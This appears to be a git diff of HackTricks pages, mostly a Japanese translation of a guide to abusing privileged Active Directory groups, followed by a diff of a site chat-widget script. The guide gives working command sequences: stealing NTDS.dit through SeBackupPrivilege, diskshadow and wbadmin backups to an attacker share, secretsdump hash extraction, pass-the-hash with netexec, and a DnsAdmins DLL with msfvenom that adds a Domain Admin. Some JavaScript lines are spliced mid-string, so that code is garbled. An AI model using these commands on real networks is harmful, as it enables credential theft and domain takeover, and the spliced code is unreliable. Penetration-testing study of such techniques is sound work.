Import-Module .\SeBackupPrivilegeUtils.dll
|
Import-Module .\SeBackupPrivilegeUtils.dll
|
||||||
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||||
```
|
```
|
||||||
2. `SeBackupPrivilege`を有効にして確認する:
|
2. `SeBackupPrivilege` を有効化して検証する:
|
||||||
```bash
|
```bash
|
||||||
Set-SeBackupPrivilege
|
Set-SeBackupPrivilege
|
||||||
Get-SeBackupPrivilege
|
Get-SeBackupPrivilege
|
||||||
```
|
```
|
||||||
3. 制限されたディレクトリからファイルにアクセスし、コピーします。例えば:
|
3. 制限されたディレクトリからファイルにアクセスしてコピーする、例えば:
|
||||||
```bash
|
```bash
|
||||||
dir C:\Users\Administrator\
|
dir C:\Users\Administrator\
|
||||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||||
```
|
```
|
||||||
### AD攻撃
|
### AD Attack
|
||||||
|
|
||||||
ドメインコントローラーのファイルシステムへの直接アクセスは、ドメインユーザーとコンピューターのすべてのNTLMハッシュを含む`NTDS.dit`データベースの盗難を可能にします。
|
Domain Controller のファイルシステムへの直接アクセスにより、`NTDS.dit` データベースを盗むことができます。このデータベースにはドメインユーザーとコンピューターのすべての NTLM ハッシュが含まれています。
|
||||||
|
|
||||||
#### diskshadow.exeを使用する
|
#### diskshadow.exe を使用する
|
||||||
|
|
||||||
1. `C`ドライブのシャドウコピーを作成します:
|
1. `C` ドライブのシャドウコピーを作成します:
|
||||||
```cmd
|
```cmd
|
||||||
diskshadow.exe
|
diskshadow.exe
|
||||||
set verbose on
|
set verbose on
|
||||||
@ -98,27 +98,35 @@ expose %cdrive% F:
|
|||||||
end backup
|
end backup
|
||||||
exit
|
exit
|
||||||
```
|
```
|
||||||
2. シャドウコピーから `NTDS.dit` をコピーします:
|
2. シャドウコピーから `NTDS.dit` をコピーする:
|
||||||
```cmd
|
```cmd
|
||||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||||
```
|
```
|
||||||
代わりに、ファイルコピーには `robocopy` を使用します:
|
代わりに、ファイルのコピーには `robocopy` を使用してください:
|
||||||
```cmd
|
```cmd
|
||||||
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
||||||
```
|
```
|
||||||
3. ハッシュ取得のために `SYSTEM` と `SAM` を抽出する:
|
3. ハッシュを取得するために `SYSTEM` と `SAM` を抽出する:
|
||||||
```cmd
|
```cmd
|
||||||
reg save HKLM\SYSTEM SYSTEM.SAV
|
reg save HKLM\SYSTEM SYSTEM.SAV
|
||||||
reg save HKLM\SAM SAM.SAV
|
reg save HKLM\SAM SAM.SAV
|
||||||
```
|
```
|
||||||
4. `NTDS.dit`からすべてのハッシュを取得します:
|
4. `NTDS.dit` からすべてのハッシュを取得する:
|
||||||
```shell-session
|
```shell-session
|
||||||
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||||
```
|
```
|
||||||
#### wbadmin.exeの使用
|
5. 抽出後: Pass-the-Hash を使って DA へ
|
||||||
|
```bash
|
||||||
|
# Use the recovered Administrator NT hash to authenticate without the cleartext password
|
||||||
|
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
|
||||||
|
|
||||||
1. 攻撃者のマシンでSMBサーバー用にNTFSファイルシステムを設定し、ターゲットマシンにSMB資格情報をキャッシュします。
|
# Or execute via SMB using an exec method
|
||||||
2. `wbadmin.exe`を使用してシステムバックアップと`NTDS.dit`の抽出を行います:
|
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
|
||||||
|
```
|
||||||
|
#### wbadmin.exe を使用する
|
||||||
|
|
||||||
|
1. attacker machine 上の SMB サーバー用に NTFS ファイルシステムをセットアップし、target machine 上で SMB credentials をキャッシュします。
|
||||||
|
2. システムバックアップと `NTDS.dit` の抽出に `wbadmin.exe` を使用します:
|
||||||
```cmd
|
```cmd
|
||||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||||
@ -126,23 +134,29 @@ wbadmin get versions
|
|||||||
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
||||||
```
|
```
|
||||||
|
|
||||||
実践的なデモについては、[DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s)を参照してください。
|
実践的なデモは [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s) を参照してください。
|
||||||
|
|
||||||
## DnsAdmins
|
## DnsAdmins
|
||||||
|
|
||||||
**DnsAdmins**グループのメンバーは、DNSサーバー上でSYSTEM権限を持つ任意のDLLをロードするためにその権限を悪用できます。これは通常、ドメインコントローラー上でホストされています。この能力は、重大な悪用の可能性を提供します。
|
**DnsAdmins** グループのメンバーは、その権限を悪用して、Domain Controllers 上でホストされていることが多い DNS サーバー上で SYSTEM 特権により任意の DLL をロードすることができます。これは重大な悪用の可能性をもたらします。
|
||||||
|
|
||||||
DnsAdminsグループのメンバーをリストするには、次のコマンドを使用します:
|
DnsAdmins グループのメンバーを列挙するには、次を使用します:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||||
```
|
```
|
||||||
### 任意のDLLを実行する
|
### Execute arbitrary DLL (CVE‑2021‑40469)
|
||||||
|
|
||||||
メンバーは、次のようなコマンドを使用して、DNSサーバーに任意のDLL(ローカルまたはリモート共有から)をロードさせることができます:
|
> [!NOTE]
|
||||||
|
> この脆弱性により、DNSサービス(通常はDCs内)でSYSTEM権限で任意のコードを実行できます。この問題は2021年に修正されました。
|
||||||
|
|
||||||
|
メンバーは、以下のようなコマンドを使用して、DNSサーバーに任意のDLL(ローカルまたはリモート共有から)を読み込ませることができます:
|
||||||
```bash
|
```bash
|
||||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||||
|
|
||||||
|
# If dnscmd is not installed run from aprivileged PowerShell session:
|
||||||
|
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
|
||||||
```
|
```
|
||||||
|
|
||||||
```c
|
```c
|
||||||
@ -158,7 +172,7 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
|||||||
// Generate DLL with msfvenom
|
// Generate DLL with msfvenom
|
||||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||||
```
|
```
|
||||||
DNSサービスを再起動する(追加の権限が必要な場合があります)は、DLLをロードするために必要です:
|
DLLを読み込むには、DNSサービスの再起動(追加の権限が必要な場合があります)が必要です:
|
||||||
```csharp
|
```csharp
|
||||||
sc.exe \\dc01 stop dns
|
sc.exe \\dc01 stop dns
|
||||||
sc.exe \\dc01 start dns
|
sc.exe \\dc01 start dns
|
||||||
@ -167,14 +181,14 @@ sc.exe \\dc01 start dns
|
|||||||
|
|
||||||
#### Mimilib.dll
|
#### Mimilib.dll
|
||||||
|
|
||||||
特定のコマンドやリバースシェルを実行するように変更することで、mimilib.dllを使用してコマンド実行を行うことも可能です。[この投稿を確認してください](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) さらなる情報のために。
|
コマンド実行のためにmimilib.dllを利用することも可能で、特定のコマンドや reverse shells を実行するように改変できます。 [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
|
||||||
|
|
||||||
### WPADレコードによるMitM
|
### WPAD Record for MitM
|
||||||
|
|
||||||
DnsAdminsは、グローバルクエリブロックリストを無効にした後にWPADレコードを作成することで、DNSレコードを操作してMan-in-the-Middle (MitM) 攻撃を実行できます。ResponderやInveighのようなツールを使用して、スプーフィングやネットワークトラフィックのキャプチャを行うことができます。
|
DnsAdmins は global query block list を無効化した後に WPAD レコードを作成することで、Man-in-the-Middle (MitM) 攻撃を行うために DNS レコードを操作できます。Responder や Inveigh のようなツールは、spoofing やネットワークトラフィックのキャプチャに使用できます。
|
||||||
|
|
||||||
### イベントログリーダー
|
### Event Log Readers
|
||||||
メンバーはイベントログにアクセスでき、平文のパスワードやコマンド実行の詳細など、機密情報を見つける可能性があります。
|
メンバーはイベントログにアクセスでき、平文パスワードやコマンド実行の詳細などの機密情報を見つける可能性があります:
|
||||||
```bash
|
```bash
|
||||||
# Get members and search logs for sensitive information
|
# Get members and search logs for sensitive information
|
||||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||||
@ -182,66 +196,70 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
|
|||||||
```
|
```
|
||||||
## Exchange Windows Permissions
|
## Exchange Windows Permissions
|
||||||
|
|
||||||
このグループは、ドメインオブジェクトのDACLを変更でき、DCSync権限を付与する可能性があります。このグループを利用した特権昇格の手法は、Exchange-AD-Privesc GitHubリポジトリに詳述されています。
|
このグループはドメインオブジェクトのDACLsを変更でき、DCSync権限を付与する可能性があります。Exchange-AD-Privesc GitHub repo に、このグループを悪用した権限昇格の手法が詳述されています。
|
||||||
```bash
|
```bash
|
||||||
# List members
|
# List members
|
||||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||||
```
|
```
|
||||||
## Hyper-V 管理者
|
## Hyper-V Administrators
|
||||||
|
|
||||||
Hyper-V 管理者は Hyper-V への完全なアクセス権を持ち、これを利用して仮想化されたドメインコントローラーを制御することができます。これには、ライブ DC のクローン作成や NTDS.dit ファイルから NTLM ハッシュを抽出することが含まれます。
|
Hyper-V Administrators は Hyper-V への完全なアクセス権を持っており、これを悪用して仮想化されたドメインコントローラーを制御することができます。これには、稼働中の DC のクローン作成や NTDS.dit ファイルからの NTLM ハッシュ抽出が含まれます。
|
||||||
|
|
||||||
### 攻撃の例
|
### Exploitation Example
|
||||||
|
|
||||||
Firefox の Mozilla Maintenance Service は、Hyper-V 管理者によって SYSTEM としてコマンドを実行するために悪用される可能性があります。これには、保護された SYSTEM ファイルへのハードリンクを作成し、それを悪意のある実行可能ファイルに置き換えることが含まれます。
|
Firefox の Mozilla Maintenance Service は Hyper-V Administrators によって悪用され、SYSTEM としてコマンドを実行させることができます。これは、保護された SYSTEM ファイルへのハードリンクを作成し、それを悪意のある実行ファイルに置き換えることを伴います:
|
||||||
```bash
|
```bash
|
||||||
# Take ownership and start the service
|
# Take ownership and start the service
|
||||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||||
sc.exe start MozillaMaintenance
|
sc.exe start MozillaMaintenance
|
||||||
```
|
```
|
||||||
注意: ハードリンクの悪用は、最近のWindowsアップデートで軽減されています。
|
Note: Hard link exploitation has been mitigated in recent Windows updates.
|
||||||
|
|
||||||
## 組織管理
|
## Group Policy Creators Owners
|
||||||
|
|
||||||
**Microsoft Exchange**が展開されている環境では、**Organization Management**と呼ばれる特別なグループが重要な権限を持っています。このグループは、**すべてのドメインユーザーのメールボックスにアクセスする**特権を持ち、**'Microsoft Exchange Security Groups'**の組織単位(OU)に対して**完全な制御**を維持しています。この制御には、特権昇格に悪用される可能性のある**`Exchange Windows Permissions`**グループが含まれます。
|
このグループのメンバーはドメイン内で Group Policies を作成できます。ただし、メンバーはユーザーやグループに group policies を適用したり、既存の GPOs を編集したりすることはできません。
|
||||||
|
|
||||||
### 特権の悪用とコマンド
|
## Organization Management
|
||||||
|
|
||||||
#### プリントオペレーター
|
In environments where **Microsoft Exchange** is deployed, a special group known as **Organization Management** holds significant capabilities. This group is privileged to **access the mailboxes of all domain users** and maintains **full control over the 'Microsoft Exchange Security Groups'** Organizational Unit (OU). This control includes the **`Exchange Windows Permissions`** group, which can be exploited for privilege escalation.
|
||||||
|
|
||||||
**Print Operators**グループのメンバーは、**`SeLoadDriverPrivilege`**を含むいくつかの特権を持っており、これにより**ドメインコントローラーにローカルでログオン**し、シャットダウンし、プリンターを管理することができます。これらの特権を悪用するには、特に**`SeLoadDriverPrivilege`**が昇格されていないコンテキストで表示されない場合、ユーザーアカウント制御(UAC)をバイパスする必要があります。
|
### Privilege Exploitation and Commands
|
||||||
|
|
||||||
このグループのメンバーをリストするには、次のPowerShellコマンドが使用されます:
|
#### Print Operators
|
||||||
|
|
||||||
|
Members of the **Print Operators** group are endowed with several privileges, including the **`SeLoadDriverPrivilege`**, which allows them to **log on locally to a Domain Controller**, shut it down, and manage printers. To exploit these privileges, especially if **`SeLoadDriverPrivilege`** is not visible under an unelevated context, bypassing User Account Control (UAC) is necessary.
|
||||||
|
|
||||||
|
このグループのメンバーを一覧表示するには、次の PowerShell コマンドを使用します:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||||
```
|
```
|
||||||
**`SeLoadDriverPrivilege`**に関連する詳細なエクスプロイト技術については、特定のセキュリティリソースを参照する必要があります。
|
より詳細なエクスプロイト手法(**`SeLoadDriverPrivilege`** に関連する)については、特定のセキュリティ資料を参照してください。
|
||||||
|
|
||||||
#### リモートデスクトップユーザー
|
#### リモートデスクトップユーザー
|
||||||
|
|
||||||
このグループのメンバーは、リモートデスクトッププロトコル(RDP)を介してPCにアクセスする権限が与えられています。これらのメンバーを列挙するために、PowerShellコマンドが利用可能です:
|
このグループのメンバーは Remote Desktop Protocol (RDP) を介して PC へのアクセス権が付与されています。これらのメンバーを列挙するには、PowerShell コマンドが利用できます:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||||
```
|
```
|
||||||
RDPの悪用に関するさらなる洞察は、専用のペンテストリソースにあります。
|
RDP を悪用するさらなる洞察は、専用の pentesting リソースにあります。
|
||||||
|
|
||||||
#### リモート管理ユーザー
|
#### リモート管理ユーザー
|
||||||
|
|
||||||
メンバーは**Windows Remote Management (WinRM)**を介してPCにアクセスできます。これらのメンバーの列挙は、次の方法で達成されます:
|
メンバーは **Windows Remote Management (WinRM)** を介して PC にアクセスできます。これらのメンバーの列挙は次の方法で行われます:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||||
```
|
```
|
||||||
**WinRM**に関連するエクスプロイト技術については、特定のドキュメントを参照する必要があります。
|
**WinRM** に関連するエクスプロイト手法については、個別のドキュメントを参照してください。
|
||||||
|
|
||||||
#### サーバーオペレーター
|
#### Server Operators
|
||||||
|
|
||||||
このグループは、ドメインコントローラー上でさまざまな構成を行う権限を持っており、バックアップおよび復元の権限、システム時間の変更、システムのシャットダウンが含まれます。メンバーを列挙するためのコマンドは次のとおりです:
|
このグループは、Domain Controllers に対してバックアップおよび復元の権限、システム時刻の変更、システムのシャットダウンなど、さまざまな構成を行う権限を持ちます。メンバーを列挙するには、以下のコマンドを実行します:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||||
```
|
```
|
||||||
## References <a href="#references" id="references"></a>
|
## 参考文献 <a href="#references" id="references"></a>
|
||||||
|
|
||||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||||
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
|
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
|
||||||
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
|||||||
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
||||||
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||||
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
60
theme/ai.js
60
theme/ai.js
@ -5,7 +5,10 @@
|
|||||||
|
|
||||||
(() => {
|
(() => {
|
||||||
const KEY = 'htSummerDiscountsDismissed';
|
const KEY = 'htSummerDiscountsDismissed';
|
||||||
const IMG = '/images/discount.jpeg';
|
const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar
|
||||||
|
* ---------------------------------------------------
|
||||||
|
* ❶ Markdown rendering + sanitised (same as before)
|
||||||
|
* ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg';
|
||||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||||
const URL = 'https://training.hacktricks.xyz';
|
const URL = 'https://training.hacktricks.xyz';
|
||||||
|
|
||||||
@ -13,7 +16,20 @@
|
|||||||
if (localStorage.getItem(KEY) === 'true') return;
|
if (localStorage.getItem(KEY) === 'true') return;
|
||||||
|
|
||||||
// Quick helper
|
// Quick helper
|
||||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
|
||||||
|
<div id="ht-ai-header">
|
||||||
|
<strong>HackTricks AI Chat</strong>
|
||||||
|
<span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span>
|
||||||
|
<div class="ht-actions">
|
||||||
|
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||||
|
<span id="ht-ai-close" title="Close">✖</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="ht-ai-chat"></div>
|
||||||
|
<div id="ht-ai-input">
|
||||||
|
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||||
|
<button id="ht-ai-send">Send</button>
|
||||||
|
</div>`;tag), { style: css });
|
||||||
|
|
||||||
// --- Overlay (blur + dim) ---
|
// --- Overlay (blur + dim) ---
|
||||||
const overlay = $('div', `
|
const overlay = $('div', `
|
||||||
@ -111,7 +127,7 @@
|
|||||||
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
||||||
const MAX_QUESTION = 500; // question char limit
|
const MAX_QUESTION = 500; // question char limit
|
||||||
const MIN_W = 250; // ← resize limits →
|
const MIN_W = 250; // ← resize limits →
|
||||||
const MAX_W = 600;
|
const MAX_W = 800;
|
||||||
const DEF_W = 350; // default width (if nothing saved)
|
const DEF_W = 350; // default width (if nothing saved)
|
||||||
const TOOLTIP_TEXT =
|
const TOOLTIP_TEXT =
|
||||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||||
@ -345,8 +361,9 @@
|
|||||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||||
#ht-ai-panel.open{transform:translateX(0)}
|
#ht-ai-panel.open{transform:translateX(0)}
|
||||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
|
||||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
#ht-ai-header strong{flex-shrink:0}
|
||||||
|
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
|
||||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||||
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||||
@ -367,8 +384,10 @@
|
|||||||
::selection{background:#ffeb3b;color:#000}
|
::selection{background:#ffeb3b;color:#000}
|
||||||
::-moz-selection{background:#ffeb3b;color:#000}
|
::-moz-selection{background:#ffeb3b;color:#000}
|
||||||
/* NEW: resizer handle */
|
/* NEW: resizer handle */
|
||||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
|
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
|
||||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
|
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
|
||||||
|
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
|
||||||
|
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
|
||||||
const s = document.createElement("style");
|
const s = document.createElement("style");
|
||||||
s.id = "ht-ai-style";
|
s.id = "ht-ai-style";
|
||||||
s.textContent = css;
|
s.textContent = css;
|
||||||
@ -432,24 +451,43 @@
|
|||||||
|
|
||||||
const onMove = (e) => {
|
const onMove = (e) => {
|
||||||
if (!dragging) return;
|
if (!dragging) return;
|
||||||
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
|
e.preventDefault();
|
||||||
|
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||||
|
const dx = startX - clientX; // dragging leftwards ⇒ +dx
|
||||||
let newW = startW + dx;
|
let newW = startW + dx;
|
||||||
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
||||||
panel.style.width = newW + "px";
|
panel.style.width = newW + "px";
|
||||||
};
|
};
|
||||||
|
|
||||||
const onUp = () => {
|
const onUp = () => {
|
||||||
if (!dragging) return;
|
if (!dragging) return;
|
||||||
dragging = false;
|
dragging = false;
|
||||||
|
handle.style.background = "";
|
||||||
|
document.body.style.userSelect = "";
|
||||||
|
document.body.style.cursor = "";
|
||||||
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
||||||
document.removeEventListener("mousemove", onMove);
|
document.removeEventListener("mousemove", onMove);
|
||||||
document.removeEventListener("mouseup", onUp);
|
document.removeEventListener("mouseup", onUp);
|
||||||
|
document.removeEventListener("touchmove", onMove);
|
||||||
|
document.removeEventListener("touchend", onUp);
|
||||||
};
|
};
|
||||||
handle.addEventListener("mousedown", (e) => {
|
|
||||||
|
const onStart = (e) => {
|
||||||
|
e.preventDefault();
|
||||||
dragging = true;
|
dragging = true;
|
||||||
startX = e.clientX;
|
startX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||||
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
||||||
|
handle.style.background = "rgba(255,255,255,.25)";
|
||||||
|
document.body.style.userSelect = "none";
|
||||||
|
document.body.style.cursor = "ew-resize";
|
||||||
|
|
||||||
document.addEventListener("mousemove", onMove);
|
document.addEventListener("mousemove", onMove);
|
||||||
document.addEventListener("mouseup", onUp);
|
document.addEventListener("mouseup", onUp);
|
||||||
});
|
document.addEventListener("touchmove", onMove, { passive: false });
|
||||||
|
document.addEventListener("touchend", onUp);
|
||||||
|
};
|
||||||
|
|
||||||
|
handle.addEventListener("mousedown", onStart);
|
||||||
|
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||||
}
|
}
|
||||||
})();
|
})();
|
||||||
|
Loading…
x
Reference in New Issue
Block a user